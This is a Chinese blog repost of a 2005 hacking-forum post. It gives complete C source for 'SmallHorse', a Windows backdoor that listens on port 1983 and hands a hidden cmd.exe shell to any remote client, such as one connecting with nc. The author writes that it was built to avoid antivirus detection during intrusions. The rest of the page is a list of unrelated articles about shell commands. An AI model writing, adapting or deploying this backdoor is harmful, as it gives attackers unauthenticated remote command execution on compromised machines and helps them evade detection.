一个简单的CMDSHELL后门

简介:
文章作者: 小马/SmallHorse [E.S.T VIP](这个E.S.T VIP写不写是无所谓的)
信息来源: 邪恶八进制 中国 

  最近闲着无聊,自己琢磨着写了个简单的CMDSHELL后门。同时也避免了入侵时被杀毒软件K了。参考了T-CMD源代码和以前黑防的相关文章。从中学到了很多知识。
  程序很简单,运行后默认打开1983端口,也可以自己设定端口,等待客户端来连接。连接可以使用nc。本来还想设计成服务让其开机后自动运行,由于时间问题等以后完善了。
  用法:smallhorse [-p port] -p参数用于设置自己的端口
  
  下面是源程序,贴出来和大家共同学习进步,同时希望高手不吝指教,小马在此谢了先。
QQ:11189658 E-MAIL: [email]horse_man@163.com[/email]
  
在vc++6.0 WIN2003下编译通过

#i nclude<winsock2.h>
#i nclude <stdio.h>
#pragma comment (lib, "Ws2_32.lib")
int port=1983;
DWORD WINAPI ClientThread(LPVOID lpParam);
void Help()
{printf("     /***************************************\\\n");
printf("     |This SmallHorse's First CMDSHELL V0.1 |\n");
printf("     |Thanks For Using It!             |\n");
printf("     |SmallHorse [E.S.T] VIP 2005.03     |\n");
printf("     |***************************************|\n");
printf("     |usage:smallhorse [-p port]         |\n");
printf("     |     port: Port Number To Listen On   |\n");
printf("     |     Default Port Is 1983         |\n");
printf("     \\***************************************/\n");
return;
}


void OpenDoor()
{
    // 初始化 Winsock.
  WSADATA wsaData;
    SOCKET m_socket,AcceptClient;
    sockaddr_in Service,Client;
    int ClientSize,i=0;
  int iResult = WSAStartup( MAKEWORD(2,2), &wsaData );
  if ( iResult != NO_ERROR )
    return;

  // 创建一个 socket.
  
  m_socket = socket( AF_INET, SOCK_STREAM, IPPROTO_TCP );
  if(m_socket==SOCKET_ERROR)
        return;
  Service.sin_family = AF_INET;
  Service.sin_addr.s_addr = htonl(INADDR_ANY);
  Service.sin_port = htons( port );

  if(bind( m_socket, (SOCKADDR*)&Service, sizeof(Service) )==SOCKET_ERROR)
      return;//邦定
  
  if (listen(m_socket,5)==SOCKET_ERROR)
        return;//最大监听列队5个
  printf("\nsmallhorse Listen On Port: %d... ^*^\n",port);
    ClientSize=sizeof(Client);
    while(1)
    {
    AcceptClient=accept(m_socket,(SOCKADDR*)&Client,&ClientSize);
    if(AcceptClient==SOCKET_ERROR)
        return;//接受连接
    printf( "Client Connected.\n");
    char *sendbuf = "/***************************************\\\n\tThanks For Using...\n\tSmallHorse's CmdShell!\n\tGood Luck!\n\\***************************************/\n\n";
  send( AcceptClient, sendbuf, strlen(sendbuf), 0 );
    
    if(CreateThread(NULL,0,ClientThread,(LPVOID)&AcceptClient,0,NULL)==NULL)
        printf("Create Thread Error!\n");
    Sleep(1000);
    }
    WSACleanup();
    return;
}
DWORD WINAPI ClientThread(LPVOID lpParam)
{int ret;
char Buf[1024];
HANDLE Rpipe,Wpipe,Wfile,Rfile;
SOCKET AcceptClient=(SOCKET)*(SOCKET*)lpParam;

SECURITY_ATTRIBUTES sa;
sa.nLength=sizeof(sa);
sa.bInheritHandle=TRUE;
sa.lpSecurityDescriptor=NULL;

ret=CreatePipe(&Rpipe,&Rfile,&sa,0);
ret=CreatePipe(&Wfile,&Wpipe,&sa,0); //建立两个管道,分别用于接收命令和显示结果

STARTUPINFO startinfo;
GetStartupInfo(&startinfo);
startinfo.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES;
startinfo.hStdInput=Wfile;
startinfo.hStdError=startinfo.hStdOutput=Rfile;
startinfo.wShowWindow=SW_HIDE; 

char cmdline[MAX_PATH];
GetSystemDirectory(cmdline,MAX_PATH);
    strcat(cmdline,("\\cmd.exe"));

PROCESS_INFORMATION proinfo;
ret=CreateProcess(cmdline,NULL,NULL,NULL,1,0,NULL,NULL,&startinfo,&proinfo);
unsigned long ByteRec;
while(1)
{
    Sleep(100);
    PeekNamedPipe(Rpipe,Buf,1024,&ByteRec,0,0);
    if(ByteRec){
        ret=ReadFile(Rpipe,Buf,ByteRec,&ByteRec,0);
        if(!ret)
              break;
        ret=send(AcceptClient,Buf,ByteRec,0);
        if(ret<=0)
              break;
    }
    else{
        ByteRec=recv(AcceptClient,Buf,1024,0);
        if(ByteRec<=0)
              break;
        ret=WriteFile(Wpipe,Buf,ByteRec,&ByteRec,0);
        if(!ret)
              break;
    }
}
return 0;
}
int main(int argc, char *argv[])
{   
  Help();
    if(argc==3)
        if(!strcmp(argv[1],"-p"))
              port=atoi(argv[2]);
    OpenDoor();
return 0;

}

















本文转自loveme2351CTO博客,原文链接:http://blog.51cto.com/loveme23/7951 ,如需转载请自行联系原作者


相关文章
|
Java Shell Windows
java Runtime.exec()执行shell/cmd命令:常见的几种陷阱与一种完善实现
java Runtime.exec()执行shell/cmd命令:常见的几种陷阱与一种完善实现
445 1
|
Java Shell Linux
java执行脚本命令(shell脚本或cmd脚本)
java执行脚本命令(shell脚本或cmd脚本)
256 0
|
Java Shell Windows
java Runtime.exec()执行shell/cmd命令:常见的几种陷阱与一种完善实现
java Runtime.exec()执行shell/cmd命令:常见的几种陷阱与一种完善实现
460 6
|
Shell Docker 容器
使用exec模式与shell模式,执行ENTRYPOINT和CMD的区别
结合 `exec`与 `shell`模式,`ENTRYPOINT`与 `CMD`在Docker容器启动时的交互方式展现出不同的特点。选择哪种模式,取决于对执行环境的纯净度、性能需求以及是否需要利用shell特性。理解这些细微差别,有助于更精细地控制容器的行为,优化应用部署与管理流程。
426 0
|
Shell Linux iOS开发
Shell|秒杀cmd的PowerShell
Shell|秒杀cmd的PowerShell
205 0
|
Java Shell Linux
java执行Linux shell命令或者Window cmd命令
执行Linux或者Window下的命令的代码: public static void runbat(String batFilePath) {      if(System.getProperty("os.name").toUpperCase().contains("WIN")){             //不做任何处理      }else{             batFilePath
1649 0
|
6月前
|
存储 安全 Unix
七、Linux Shell 与脚本基础
别再一遍遍地敲重复的命令了,把它们写进Shell脚本,就能一键搞定。脚本本质上就是个存着一堆命令的文本文件,但要让它“活”起来,有几个关键点:文件开头最好用#!/usr/bin/env bash来指定解释器,并用chmod +x给它执行权限。执行时也有讲究:./script.sh是在一个新“房间”(子Shell)里跑,不影响你;而source script.sh是在当前“房间”里跑,适合用来加载环境变量和配置文件。
558 9
|
6月前
|
存储 Shell Linux
八、Linux Shell 脚本:变量与字符串
Shell脚本里的变量就像一个个贴着标签的“箱子”。装东西(赋值)时,=两边千万不能有空格。用单引号''装进去的东西会原封不动,用双引号""则会让里面的$变量先“变身”再装箱。默认箱子只能在当前“房间”(Shell进程)用,想让隔壁房间(子进程)也能看到,就得给箱子盖个export的“出口”戳。此外,Shell还自带了$?(上条命令的成绩单)和$1(别人递进来的第一个包裹)等许多特殊箱子,非常有用。
544 2
|
9月前
|
Shell
Shell脚本循环控制:shift、continue、break、exit指令
使用这些命令可以让你的Shell脚本像有生命一样动起来。正确使用它们,你的脚本就能像一场精心编排的舞蹈剧目,既有旋律的起伏,也有节奏的跳跃,最终以一场惊艳的表演结束。每一个动作、每一个转折点,都准确、优雅地完成所需要表达的逻辑。如此,你的脚本不只是冰冷的代码,它透过终端的界面,跳着有节奏的舞蹈,走进观众——使用者的心中。
331 60
|
12月前
|
关系型数据库 MySQL Shell
MySQL 备份 Shell 脚本:支持远程同步与阿里云 OSS 备份
一款自动化 MySQL 备份 Shell 脚本,支持本地存储、远程服务器同步(SSH+rsync)、阿里云 OSS 备份,并自动清理过期备份。适用于数据库管理员和开发者,帮助确保数据安全。